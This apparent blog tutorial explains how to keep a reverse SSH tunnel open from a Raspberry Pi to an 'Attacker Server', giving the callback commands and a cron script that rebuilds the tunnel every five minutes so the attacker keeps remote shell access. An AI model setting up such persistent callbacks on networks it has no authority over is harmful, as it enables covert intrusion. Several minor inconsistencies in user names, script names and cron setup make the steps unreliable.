Persistent Reverse-SSH Tunnel

Last modified: 17 January 2019



Prerequisites:

Example:

  • user pi on the Raspberry.
  • user lobs on the Attacker Server.
  • SSH server running on both.

    From the Raspberry:

  • Copy the RSA key to the Server with:
$ ssh-copy-id -i .ssh/id_rsa.pub lobs@AttackerServer.domain

If id_rsa.pub doesn’t already exists then:

$ ssh-keygen
  • The command to launch is:
$ ssh -p 30022 -N -R 2222:localhost:22 pi@AttackerServer.domain

This will ssh the Raspberry to the Attacker Server without specifying any command (-N) and tell the server to redirect ssh connection from local (server) port 2222 to remote (raspberry) port 22 (or whatever you want).

After that, on the Attacker Server there will be a ssh socket listening on port 2222 ready to redirect ssh traffic to Raspberry through port 22.

You can always set up the raspberry to serve ssh connections on port 80 or 443 in order to avoid firewall issues. It depends on the firewall configurations.

The Attacker

The attacker just need to:

  1. SSH into his server on port 30022.
  2. Run the command:
$ ssh -p 2222 -l lobs localhost

Automation and Persistence

A script can be put in the crontab to check periodically for connection to a remote server.

The new_ssh_reverse_tunnel.sh is also available in my GitHub account.

#!/bin/bash
createTunnel() {
  /usr/bin/ssh -N -R 2222:localhost:22 pi@AttackerServer.domain
  if [[ $? -eq 0 ]]; then
    echo Tunnel created successfully
  else
    echo An error occurred creating a tunnel. ReturnCode is $?
  fi
}
/bin/pidof ssh
if [[ $? -ne 0 ]]; then
  echo Creating new tunnel ...
  createTunnel
fi

Copy the script new_ssh_tunnel.sh in the /etc/cron.d/ folder.

To edit the crontab run: (Do not edit the crontab file directly)

$ crontab -e

And add at the end:

*/5 * * * * /etc/cron.d/new_ssh_tunnel.sh 2> /dev/null

Every 5 minutes it will check for the tunnel to create.

Considerations

This way if the Raspberry falls under someone’s else hands it has full access on the AttackerServer. If it has served its aim then you should remove the rsa key from the authorized_key on the server.

Please feel free to make any comment! If anything is unclear, just write in the comment and I will update the post!Thanks for reading!